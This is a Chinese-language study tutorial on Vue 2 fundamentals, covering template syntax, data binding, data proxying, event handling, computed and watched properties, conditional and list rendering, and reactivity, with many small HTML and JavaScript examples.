# Vue 核心

# 1. Vue 简介

# 1.1. 官网

v2 -- https://v2.cn.vuejs.org/ (opens new window)

v3 -- https://cn.vuejs.org/ (opens new window)

# 1.2. 介绍与描述

一套用于构建用户界面的渐进式 JavaScript 框架

渐进式:

  • Vue 可以自底向上逐层的应用
  • 简单应用,只需要核心库
  • 复杂应用,可以引入各种 Vue 插件

尤雨溪:

  • 2013 年,发布 0.6.0
  • 2014 年,发布 0.8.0
  • 2015 年,发布 1.0.0
  • 2016 年,发布 2.0.0
  • 2020 年,发布 3.0.0

# 1.3. Vue 的特点

  1. 遵循 MVVM 模式
  2. 编码简洁, 体积小, 运行效率高, 适合移动/PC 端开发
  3. 它本身只关注 UI, 也可以引入其它第三方库开发项目

# 1.4. 与其它 JS 框架的关联

  1. 借鉴 Angular 的模板和数据绑定技术
  2. 借鉴 React 的组件化和虚拟 DOM 技术

# 1.5. Vue 周边库

  1. vue-cli: vue 脚手架
  2. vue-resource
  3. axios
  4. vue-router: 路由
  5. vuex: 状态管理
  6. element-ui: 基于 vue 的 UI 组件库(PC 端)
  7. ……

# 2. 初识 Vue

# 2.1. 安装

开发版本:

  • <script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>

生产版本:

  • <script src="https://unpkg.com/vue@2.7.0/dist/vue.min.js"></script>

开发者工具(vue devtool):

  • bug: 没有在模板中出现的属性,变更后 不会更新到开发者工具的监测面板。(此问题在调试时一定要注意)

vscode 插件:

  • Vue 3 Snippets (作者:hollowtree)

# 2.2. 示例

<!--01.初识Vue.html-->
<div id="root">
  <h1>Hello, {{ name }}</h1>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  /*
  生产提示:

  You are running Vue in development mode.
  Make sure to turn on production mode when deploying for production.
  See more tips at https://vuejs.org/guide/deployment.html
  */
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    // 指定当前 Vue 实例为哪个容器服务
    el: '#root',

    // data 用于存储数据,数据供容器使用
    data: {
      name: 'zhangsan'
    },
  });
</script>
  • 容器: #root
  • 实例: vm
  • 模板: #root 内的 HTML

总结:

  1. 想让 Vue 工作,就必须创建一个 Vue 实例,且要传入一个配置对象;
  2. root 容器里的代码依然符合 html 规范,只不过混入了一些特殊的 Vue 语法;
  3. root 容器里的代码被称为【Vue 模板】;
  4. Vue 实例和容器是一一对应的;
  5. 真实开发中只有一个 Vue 实例,并且会配合着组件一起使用;
  1. {{xxx}} 中的 xxx 要写 js 表达式,且 xxx 可以自动读取到 data 中的所有属性;
  1. 一旦 data 中的数据发生改变,那么页面中用到该数据的地方也会自动更新;

注意区分 js表达式 和 js代码(语句) :

  1. 表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:

    • a
    • a+b
    • demo(1)
    • x === y ? 'a' : 'b'
  2. js代码(语句)

    • if(){}
    • for(){}

# 2.3. 扩展

指定容器的两种方法:

  • options.el: '#root', new Vue 时配置 el 属性
  • vm.$mount('#root'),先创建 Vue 实例,再通过 $mount() 方法指定 el
// 1.
new Vue({
  el: '#root',
});

// 2.
cont vm = new Vue({});
vm.$mount('#root');

data 的两种写法:

  • 对象式
  • 函数式
new Vue({
  data: {
    name: '张三',
  }
});

new Vue({
  data() {
    // this === vm
    return {
      name: '张三',
    };
  }
});

# 3. 模板语法

# 3.1. 介绍

html 中包含了一些 JS 语法代码,语法分为两种,分别为:

  1. 插值语法(双大括号表达式)
  2. 指令(以 v- 开头)

# 3.2. 插值语法

功能: 用于解析标签体内容

语法: {{xxx}}xxxx 会作为 js 表达式解析

# 3.3. 指令语法

功能: 解析标签属性、解析标签体内容、绑定事件

举例:v-bind:href = 'xxxx'xxxx 会作为 js 表达式被解析

说明:Vue 中有有很多的指令,此处只是用 v-bind 举个例子

# 3.4. 示例

<!--02.模板语法.html-->
<div id="root">
  <h1>插值语法</h1>
  <p>你好,{{ name }}</p>

  <h1>指令语法</h1>
  <p><a v-bind:href="school.url">{{ school.name }}</a></p>
  <p><a       :href="school.url">{{ school.name }}</a></p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',

    data: {
      name: '张三',
      school: {
        name: '百度',
        url: 'https://www.baidu.com'
      }
    },
  });
</script>

# 4. 数据绑定

# 4.1. 介绍

Vue中有2种数据绑定的方式:

  1. 单向绑定(v-bind)
  2. 双向绑定(v-model)

# 4.2. 单向数据绑定

语法:v-bind:href ="xxx" (简写为 :href

特点:数据只能从 data 流向页面

# 4.3. 双向数据绑定

语法:v-model:value="xxx" (简写为 v-model="xxx",因为 v-model 默认收集的就是 value 值)

特点:数据不仅能从 data 流向页面,还能从页面流向 data

注意:

  • 双向绑定一般都应用在表单类元素上(如: <input><select> 等)
  • 自定义组件,可以指定 model 属性

# 4.4. 示例

<!--03.数据绑定.html-->
<div id="root">
  <h1>单向绑定</h1>
  <p><input v-bind:value="name"></p>
  <p><input       :value="name"></p>
  
  <h1>双向绑定</h1>
  <p><input v-model:value="age"></p>
  <p><input v-model      ="age"></p>
</div>
  
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',

    data: {
      name: '张三',
      age: 18,
    },
  });
</script>

# 5. MVVM 模型

mvvm

  • M:模型(Model) :对应 data 中的数据
  • V:视图(View) :模板
  • VM:视图模型(ViewModel) : Vue 实例对象

扩展:

  1. data 中所有的属性,最后都出现在了 vm 身上。
  2. vm 身上所有的属性 及 Vue 原型上所有属性,在 Vue 模板中都可以直接使用。

# 6. 数据代理

# 6.1. Object.defineProperty() 方法

let number = 18
let person = {
  name:'张三',
  sex:'男',
}

Object.defineProperty(person,'age',{
  // value: 18,
  // enumerable: true,  // 控制属性是否可以枚举,默认值是false
  // writable: true,    // 控制属性是否可以被修改,默认值是false
  // configurable: true // 控制属性是否可以被删除,默认值是false

  //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
  get(){
    console.log('有人读取age属性了')
    return number
  },

  //当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
  set(value){
    console.log('有人修改了age属性,且值是',value)
    number = value
  }
})

// console.log(Object.keys(person))

console.log(person)

通过此方法将两个对象关联起来

# 6.2. 何为数据代理

通过一个对象代理对另一个对象中属性的操作(读/写)

const person = { age: 18 };
const personProxy = {};

Object.defineProperty(personProxy, 'age', {
  get(){
    return person.age
  },
  set(value){
    person.age = value
  }
})

# 6.3. Vue中的数据代理

Vue中的数据代理:

  • 通过 vm 对象来代理 data 对象中属性的操作(读/写)

Vue中数据代理的好处:

  • 更加方便的操作 data 中的数据

基本原理:

  • 通过 Object.defineProperty() 把 data 对象中所有属性添加到 vm 上。
  • 为每一个添加到 vm 上的属性,都指定一个 getter/setter 。
  • 在 getter/setter 内部去操作(读/写)data中对应的属性。

示例:

<!--04.数据代理.html-->
<div id="root">
  <h1>{{ age }}</h1>
</div>
  
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const data = { age: 18 };

  const vm = new Vue({
    el: '#root',

    data,
  });

  console.log(vm._data === data); // true

  // vm.age = 19;
</script>

# 7. 事件处理

# 7.1. 事件的基本使用

  1. 使用 v-on:xxx@xxx 绑定事件,其中 xxx 是事件名;
  2. 事件的回调需要配置在 methods 对象中,最终会在 vm 上;
  3. methods 中配置的函数,不要用箭头函数!否则 this 就不是 vm 了;
  4. methods 中配置的函数,都是被 Vue 所管理的函数,this 的指向是 vm 或 组件实例对象;
  5. @click="demo"@click="demo($event)" 效果一致,但后者可以传参;

注意:

  • 事件绑定中,无参方法可以不加 () ,但在其他的地方(如 {{ add() }})需要加 ()
<!--05.事件的基本使用.html-->
<div id="root">
  <!-- <button v-on:click="showInfo">点我提示信息</button> -->
  <button @click="showInfo1">点我提示信息1(不传参)</button>
  <button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
</div>
  
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',
    // 里面的数据会被 数据代理、数据劫持
    data: {},

    // 仅仅只是被调用
    methods: {
      showInfo1(event){
        // console.log(event.target.innerText)
        // console.log(this) //此处的this是vm
        alert('同学你好!')
      },
      showInfo2(event,number){
        console.log(event,number)
        alert('同学你好!!')
      }
    }
  });
</script>

# 7.2. 事件修饰符

  1. prevent :阻止默认事件(常用);
  2. stop :阻止事件冒泡(常用);
  3. once :事件只触发一次(常用);
  4. capture :使用事件的捕获模式;(先捕获后冒泡)
  5. self :只有 event.target 是当前操作的元素时才触发事件;
  6. passive :事件的默认行为立即执行,无需等待事件回调执行完毕;(移动端用得比较多,避免回调执行时间过程造成卡顿)

示例:

<!-- 先阻止默认行为,再停止冒泡 -->
<a href="http://www.baidu.com" @click.prevent.stop="search">搜索</a>

# 7.3. 按键修饰符

1.Vue中常用的按键别名:

  • 回车 => enter
  • 删除 => delete (捕获“删除”和“退格”键)
  • 退出 => esc
  • 空格 => space
  • tab建 => tab (特殊,必须配合 keydown 去使用)
  • 上 => up
  • 下 => down
  • 左 => left
  • 右 => right

2.Vue未提供别名的按键,可以使用按键原始的 key 值(event.key)去绑定,但注意要转为 kebab-case(短横线命名),如

  • CapsLock --> caps-lock

3.系统修饰键(用法特殊): ctrl 、 alt 、shift 、meta (windows键)

  • (1).配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
  • (2).配合 keydown 使用:正常触发事件。

4.也可以使用 keyCode 值(event.keyCode) 去指定具体的按键(不推荐)

5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名

6..exact 修饰符允许你控制由精确的系统修饰符组合触发的事件

示例:

<!--06.按键修饰符.html-->
<div id="root">
  <!-- 按下的键中包含 alt 、s 就会触发 -->
  <p><input type="text" @keyup.alt.s="showInfo"></p>

  <!-- 按下的键中有且仅有 alt 、s 就会触发 -->
  <p><input type="text" @keyup.alt.s.exact="showInfo"></p>
</div>
  
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',
    methods: {
      showInfo(event){
        console.log(event.target.value, event.key);
      },
    }
  });
</script>

# 8. 计算属性与监视

# 8.1. 介绍

data 一旦改变,模板就会重新解析,并更新到页面

# 8.2. 计算属性 -- computed

定义:要用的属性不存在,要通过已有属性计算得来。

原理:底层借助了 Object.defineProperty 方法提供的 getter 和 setter 。

get函数什么时候执行?

  • (1).初次读取时会执行一次。
  • (2).当依赖的数据发生改变时会被再次调用。

优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便。

备注:

  1. 计算属性最终会出现在 vm 上,直接读取使用即可。
  2. 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生改变。

示例:

<!--07.计算属性.html-->
<div id="root">
  <p>姓:<input v-model="firstName"></p>
  <p>名:<input v-model="lastName"></p>
  <p>全名:<input v-model="fullName"></p>
  {{ fullName }}
  {{ fullName }}
  {{ getFullName() }}
  {{ getFullName() }}
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',
    data: {
      firstName: '张',
      lastName: '三',
    },
    methods: {
      // 一旦数据发生变化,模板重新解析,该方法会重复执行很多次
      getFullName(event){
        console.log('getFullName() 被调用');
        return this.firstName + this.lastName;
      },
    },
    computed: {
      // 一旦数据发生变化,模板重新解析,getter 只会执行一次
      fullName: {
        get() {
          console.log('fullName.get() 被调用');
          return this.firstName + this.lastName;
        }
      },

      // 简写形式
      fullName2() {
        return this.firstName + this.lastName;
      }
    },
  });
</script>

# 8.3. 监视属性 -- watch

# 8.3.1. 基本使用

说明:

  1. 当被监视的属性变化时, 回调函数自动调用, 进行相关操作

  2. 监视的属性必须存在,才能进行监视!!(如果属性不存在也不会报错)

  3. 监视的两种写法:

    • (1). new Vue 时传入 watch 配置
    • (2). 通过 vm.$watch 监视

示例:

<!--08.监视属性.html-->
<div id="root">
  <p>今天天气很{{ info }}</p>
  <p><button @click="changeWeather">改变天气</button></p>
</div>
  
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',
    data: {
      isHot: true,
    },
    computed: {
      info() {
        return this.isHot ? '炎热' : '凉爽';
      }
    },
    methods: {
      changeWeather() {
        this.isHot = !this.isHot;
      },
    },
    watch:{
      isHot:{
        // 初始化时让 handler 调用一下
        // immediate: true, // 默认值为 false

        // handler 什么时候调用?当 isHot 发生改变时。
        handler(newValue, oldValue){
          console.log('isHot被修改了', newValue, oldValue)
        }
      }
    }
  });
</script>

# 8.3.2. 深度监视

说明:

  • (1). Vue 中的 watch 默认不监测对象内部值的改变(一层)。
  • (2). 配置 deep:true 可以监测对象内部值改变(多层)。

备注:

  • (1). Vue 自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以!
  • (2). 使用 watch 时根据数据的具体结构,决定是否采用深度监视。

示例:

<!--09.监视属性-deep.html-->
<div id="root">
  <p>a: {{ numbers.a }} <button @click="numbers.a++">改变 a</button></p>
  <p>b: {{ numbers.b }} <button @click="numbers.b++">改变 b</button></p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',
    data: {
      numbers: {
        a: 1,
        b: 2,
      },
    },
    watch:{
      'numbers.a'(newValue, oldValue) {
        console.log(`numbers.a 被改变了: ${oldValue} --> ${newValue}`);
      },
      'numbers.b'(newValue, oldValue) {
        console.log(`numbers.b 被改变了: ${oldValue} --> ${newValue}`);
      },

      numbers: {
        deep: true,
        handler(newValue, oldValue) {
          console.log(
            'numbers 被改变了: ', 
            JSON.stringify(oldValue), // {"a":2,"b":2}
            JSON.stringify(newValue), // {"a":2,"b":2}
            newValue === oldValue     // true
          );
        },
      }
    }
  });
</script>

# 8.4. 监视 vs 计算属性

computed 和 watch 之间的区别:

  1. computed 能完成的功能,watch 都可以完成。
  2. watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作。

两个重要的小原则:

  1. 所被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象。
  2. 所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise 的回调函数),最好写成箭头函数,这样 this 的指向才是vm 或 组件实例对象。

# 9. class 与 style 绑定

# 9.1. class 样式

写法 :class="xxx"xxx 可以是字符串、对象、数组。

  • 字符串写法适用于:类名不确定,要动态获取。

  • 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。

  • 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。

# 9.2. style 样式

:style="{fontSize: xxx}" 其中 xxx 是动态值。

:style="[a,b]" 其中 ab 是样式对象。

# 9.3. 示例

<!--10.绑定样式.html-->
<div id="root">
  <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
  <div class="basic" :class="classStr">111</div>

  <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
  <div class="basic" :class="classArr">222</div>
  
  <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
  <div class="basic" :class="classObj">333</div>

  <!-- 绑定style样式--对象写法 -->
  <div class="basic" :style="styleObj">444</div>
  <!-- 绑定style样式--数组写法 -->
  <div class="basic" :style="styleArr">555</div>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',
    data: {
      classStr: 'color-red',

      classArr: ['color-green', 'font-big'],

      classObj: {
        radius: true,
        'font-big': false,
        border: true,
      },

      styleObj: {
        'font-size': '24px',
        'border-radius': '3px'
      },

      styleArr: [
        { fontSize: '12px', color: 'red' },
        { backgroundColor: 'pink' }
      ],
    },
  });
</script>

# 10. 条件渲染

  • v-show
  • v-if / v-else-if / v-else

# 10.1. 介绍

v-if :

  • 写法:
    • (1) v-if="表达式"
    • (2) v-else-if="表达式"
    • (3) v-else="表达式"
  • 适用于:切换频率较低的场景。
  • 特点:不展示的 DOM 元素直接被移除。
  • 注意:v-if 可以和 v-else-if、v-else 一起使用,但要求结构不能被“打断”。
  • 可以使用 <template v-if="xxx"> 同时对多个元素进行条件判断

v-show :

  • 写法:v-show="表达式"
  • 适用于:切换频率较高的场景。
  • 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

备注:使用 v-if 的时,元素可能无法获取到,而使用 v-show 一定可以获取到。

# 10.2. 示例

<!--11.条件渲染.html-->
<div id="root">
  <h1 v-show="n === 1">n = 1</h1>
  <h1 v-show="n === 2">n = 2</h1>
  <h1 v-show="n === 3">n = 3</h1>

  <h1 v-if="n === 1">n = 1</h1>
  <h1 v-else-if="n === 2">n = 2</h1>
  <h1 v-else-if="n === 3">n = 3</h1>
  <h1 v-else>none</h1>

  <template v-if="n === 1">
    <div></div>
    <div></div>
    <div></div>
  </template>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',
    data: {
      n: 1,
    },
  });
</script>

# 11. 列表渲染

# 11.1. 基本列表

v-for 指令:

  • 用于展示列表数据
  • 语法:v-for="(item, index) in xxx" :key="yyy"
  • 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)

示例:

<!--12.列表渲染-01-基本.html-->
<div id="root">
  <h1>遍历数组</h1>
  <div v-for="(item, index) in list" :key="item.id">
    {{item.name}} - {{index}}
  </div>

  <h1>遍历对象</h1>
  <div v-for="(value, key) in obj" :key="key">
    {{value}} - {{key}}
  </div>

  <h1>遍历字符串</h1>
  <div v-for="(char, index) in str" :key="index">
    {{char}} - {{index}}
  </div>

  <h1>遍历指定次数</h1>
  <div v-for="(num, index) in times" :key="index">
    {{num}} - {{index}}
  </div>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',
    data: {
      list: [
        {id:'001',name:'张三',age:18},
        {id:'002',name:'李四',age:19},
        {id:'003',name:'王五',age:20}
      ],
      
      obj: {
        name:'奥迪A8',
        price:'70万',
        color:'黑色'
      },
      
      str:'hello',

      times: 5,
    },
  });
</script>

# 11.2. key 的原理

react、vue中的key有什么作用?(key的内部原理):

1. 虚拟DOM中key的作用:
      key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 
      随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:

2.对比规则:
      (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
            ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
            ②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

      (2).旧虚拟DOM中未找到与新虚拟DOM相同的key
            创建新的真实DOM,随后渲染到到页面。
            
3. 用index作为key可能会引发的问题:
      1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
              会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

      2. 如果结构中还包含输入类的DOM:
              会产生错误DOM更新 ==> 界面有问题。

4. 开发中如何选择key?:
      1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
      2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
        使用index作为key是没有问题的。

也就是说:

  • 列表中,对比算法 是把 key 相同的 vNode 进行比较,最后再把数据更新到对应 key 的 DOM 上。
  • 列表的展示,可以使用 index 作为 key
  • 列表的增删,一定要用 id 作为 key,否则效率低且输入类的DOM可能会出错

示例:

<!--13.列表渲染-02-key的原理.html-->
<div id="root">
  <button @click="add">添加一个老刘</button>
  <h2>人员列表(使用 index 作为 key)</h2>
  <ul>
    <li v-for="(p,index) of persons" :key="index">
      {{p.name}}-{{p.age}}
      <input type="text">
    </li>
  </ul>

  <h2>人员列表(使用 id 作为 key)</h2>
  <ul>
    <li v-for="(p,index) of persons" :key="p.id">
      {{p.name}}-{{p.age}}
      <input type="text">
    </li>
  </ul>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',

    mounted() {
      Array.from(document.querySelectorAll('input')).forEach((elt) => {
        elt.value = elt.parentElement.innerText;
      });
    },

    data:{
      persons:[
        {id:'001',name:'张三',age:18},
        {id:'002',name:'李四',age:19},
        {id:'003',name:'王五',age:20}
      ]
    },
    methods: {
      add(){
        const p = {id:'004',name:'老刘',age:40}
        this.persons.unshift(p)
      }
    },
  });
</script>

# 11.3. 列表过滤

说明:

  • watch 和 computed 都可以实现
  • 优先使用 computed

示例:

<!--14.列表渲染-03-列表过滤.html-->
<div id="root">
  <input type="text" v-model="keyword">

  <h2>使用 watch</h2>
  <ul>
    <li v-for="(p,index) of filteredPersons" :key="p.id">
      {{p.name}}-{{p.age}}-{{p.id}}
    </li>
  </ul>

  <h2>使用 computed</h2>
  <ul>
    <li v-for="(p,index) of computedPersons" :key="p.id">
      {{p.name}}-{{p.age}}-{{p.id}}
    </li>
  </ul>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',

    data:{
      keyword: '',

      persons:[
        {id:'001',name:'马冬梅',age:19,sex:'女'},
        {id:'002',name:'周冬雨',age:20,sex:'女'},
        {id:'003',name:'周杰伦',age:21,sex:'男'},
        {id:'004',name:'温兆伦',age:22,sex:'男'}
      ],

      filteredPersons: [],
    },

    watch: {
      keyword: {
        immediate: true,
        handler(value) {
          this.filteredPersons = this.persons
            .filter((item) => item.name.includes(this.keyword));
        }
      }
    },

    computed: {
      computedPersons() {
        return this.persons
            .filter((item) => item.name.includes(this.keyword));
      }
    },
  });
</script>

# 11.4. 列表排序

示例:

<!--15.列表渲染-04-列表排序.html-->
<div id="root">
  <input type="text" v-model="keyword">
  <button @click="sort = 'asc'">升序</button>
  <button @click="sort = 'desc'">降序</button>
  <button @click="sort = ''">原顺序</button>

  <ul>
    <li v-for="(p,index) of computedPersons" :key="p.id">
      {{p.id}}-{{p.name}}-{{p.age}}
    </li>
  </ul>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el: '#root',

    data:{
      keyword: '',
      sort: '', // '': 原顺序; 'asc': 升序; 'desc': 降序
      persons:[
        {id:'001',name:'马冬梅',age:30,sex:'女'},
        {id:'002',name:'周冬雨',age:31,sex:'女'},
        {id:'003',name:'周杰伦',age:18,sex:'男'},
        {id:'004',name:'温兆伦',age:19,sex:'男'}
      ],
    },
    computed: {
      computedPersons() {
        const list = this.persons .filter((item) => item.name.includes(this.keyword));

        if (this.sort === 'asc') {
          list.sort((p1, p2) => p1.age - p2.age);
        } else if (this.sort === 'desc') {
          list.sort((p1, p2) => p2.age - p1.age);
        }

        return list;
      }
    },
  });
</script>

# 12. 数据监视

# 12.1. 数组元素更新问题

示例:

<!--16.数据监视-05-数组元素更新问题.html-->
<div id="root">
  <h2>人员列表</h2>
  <button @click="updateMeiSuccess">更新马冬梅的信息(生效)</button>
  <button @click="updateMeiFail">更新马冬梅的信息(无效)</button>
  <ul>
    <li v-for="(p,index) of persons" :key="p.id">
      {{p.name}}-{{p.age}}-{{p.sex}}
    </li>
  </ul>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el:'#root',
    data:{
      persons:[
        {id:'001',name:'马冬梅',age:30,sex:'女'},
        {id:'002',name:'周冬雨',age:31,sex:'女'},
        {id:'003',name:'周杰伦',age:18,sex:'男'},
        {id:'004',name:'温兆伦',age:19,sex:'男'}
      ]
    },
    methods: {
      updateMeiSuccess() {
        this.persons[0].name = '马老师';
        this.persons[0].age = 50;
        this.persons[0].sex = '男';
      },
      updateMeiFail() {
        this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'};
      },
    }
  });
</script>

# 12.2. 模拟对象数据监视

说明:

  • 数据代理: vm 可以访问到 vm._data 上的所有属性
  • 数据劫持: Vue 把 options.data 变成了 vm._data,对其每个属性都进行了监控

对象类型:

data = {
  person: { name: '张三' },
}

vm._data

  {__ob__: Observer}
      person : Object
          name : (...)
          get name : ƒ reactiveGetter()
          set name : ƒ reactiveSetter(newVal)

      get person : ƒ reactiveGetter()
      set person : ƒ reactiveSetter(newVal)

基本类型数组:

data = {
  nums: [1, 2],
}

vm._data

  {__ob__: Observer}
      nums : Array(2)
          0 : 1
          1 : 2
          length : 2

      get nums : ƒ reactiveGetter()
      set nums : ƒ reactiveSetter(newVal)

对象类型数组:

data = {
  persons: [ { name: '张三' } ]
}

vm._data

  {__ob__: Observer}
    persons : Array(1)
        0 : {__ob__: Observer}
            name : (...)
            get name : ƒ reactiveGetter()
            set name : ƒ reactiveSetter(newVal)

        length : 1

    get persons : ƒ reactiveGetter()
    set persons : ƒ reactiveSetter(newVal)

示例:

<!--17.数据监视-06-模拟数据监测.html-->
<div id="name">张三</div>
<div id="age">18</div>
<script>
  let data = {
    name: '张三',
    age: 18,
  };

  let vm = {};

  const dataObserver = new Observer(data);

  vm._data = dataObserver;
  data = dataObserver;

  // 监测 obj 的所有属性
  function Observer(obj) {
    const keys = Object.keys(obj);

    keys.forEach((key) => {
      Object.defineProperty(this, key, {
        get() {
          return obj[key];
        },
        set(value) {
          obj[key] = value;
          console.log(`${key} 被修改了, 进行后续的操作(解析模板、生成虚拟DOM)`);
          document.getElementById(key).innerText = value;
        }
      });
    });
  }
</script>

# 12.3. 对象数据新增属性

添加普通属性:

vm.person.girlFriend = '韩梅梅'; // 无效
vm._data.person.girlFriend = '韩梅梅'; // 无效

通过 Vue.set()vm.$set() 添加响应式属性:

// Vue.set( target, propertyName/index, value )
vm.$set(vm.person, 'girlFriend', '韩梅梅');

注意:

  • target 不能是 vm 、 vm._data 、 vm.$data

示例:

<!--18.数据监视-07-Vue.set的使用.html-->
<div id="root">
  <h2>人员信息:</h2>
  <ul>
    <li v-for="(value, key) in person" :key="key">{{key}}: {{value}}</li>
  </ul>
  <p>新属性名:<input v-model="prop"></p>
  <p>新属性值:<input v-model="value"></p>
  <p><button @click="add">新增</button></p>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el:'#root',
    data:{
      prop: '',
      value: '',

      person: {
        name: '张三'
      },
    },
    methods: {
      add() {
        this.$set(this.person, this.prop, this.value);
      },
    }
  });
</script>

# 12.4. 数组的更新

通过索引修改数组元素:

data = {
  hobbies: ['踢足球', '打篮球']
};

vm.hobbies[1] = '打乒乓球'; // 无效

通过变更方法(push、pop、shift、unshift、splice、sort、reverse)修改:

// splice(start, deleteCount, item1, item2, itemN)
vm.hobbies.splice(1, 1, '打乒乓球'); // 有效

// Vue 包装了 变更方法,在里面添加了 模板更新操作
[1, 2, 3].push === Array.prototype.push; // true
vm.hobbies.push === Array.prototype.push; // false

通过 Vue.set 修改:

vm.$set(vm.hobbies, 1, '打乒乓球');

通过替换数组修改:

const hobbies = vm.hobbies;

hobbies[1] = '打乒乓球';
vm.hobbies = hobbies;

示例:

<!--19.数据监视-08-数组的更新.html-->
<div id="root">
  <button @click="updateByIndex">update by index</button>
  <button @click="updateBySplice">update by splice</button>
  <button @click="updateByVueSet">update by Vue.set</button>
  <ul>
    <li v-for="item in hobbies">{{ item }}</li>
  </ul>
</div>
<script src="https://unpkg.com/vue@2.7.0/dist/vue.js"></script>
<script>
  Vue.config.productionTip = false; // 关闭生产提示

  const vm = new Vue({
    el:'#root',
    data:{
      hobbies: ['踢足球', '打篮球', 'xxx'],

      nums: [1, 2],
      persons: [ { name: '张三' } ],
      person: { name: '张三' },
    },
    methods: {
      updateByIndex() {
        this.hobbies[1] = 'updateByIndex';
      },
      updateBySplice() {
        this.hobbies.splice(1, 1, 'updateBySplice');
      },
      updateByVueSet() {
        this.$set(this.hobbies, 1, 'updateByVueSet');
      },
    }
  });
</script>

# 12.5. 总结

Vue监视数据的原理:

1. vue会监视data中所有层次的数据。

2. 如何监测对象中的数据?
        通过setter实现监视,且要在new Vue时就传入要监测的数据。
          (1).对象中后追加的属性,Vue默认不做响应式处理
          (2).如需给后添加的属性做响应式,请使用如下API:
                  Vue.set(target,propertyName/index,value) 或 
                  vm.$set(target,propertyName/index,value)

3. 如何监测数组中的数据?
          通过包裹数组更新元素的方法实现,本质就是做了两件事:
            (1).调用原生对应的方法对数组进行更新。
            (2).重新解析模板,进而更新页面。

4.在Vue修改数组中的某个元素一定要用如下方法:
      1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
      2.Vue.set() 或 vm.$set()

特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!

# 13. 收集表单数据

<input type="text" />:

  • v-model 收集的是 value 值,用户输入的就是 value 值

<input type="radio" />:

  • v-model 收集的是 value 值,且要给标签配置 value 属性

<input type="checkbox" />:

  • v-model 默认收集的是 checked 值,值是 true(勾选)、false(为勾选)
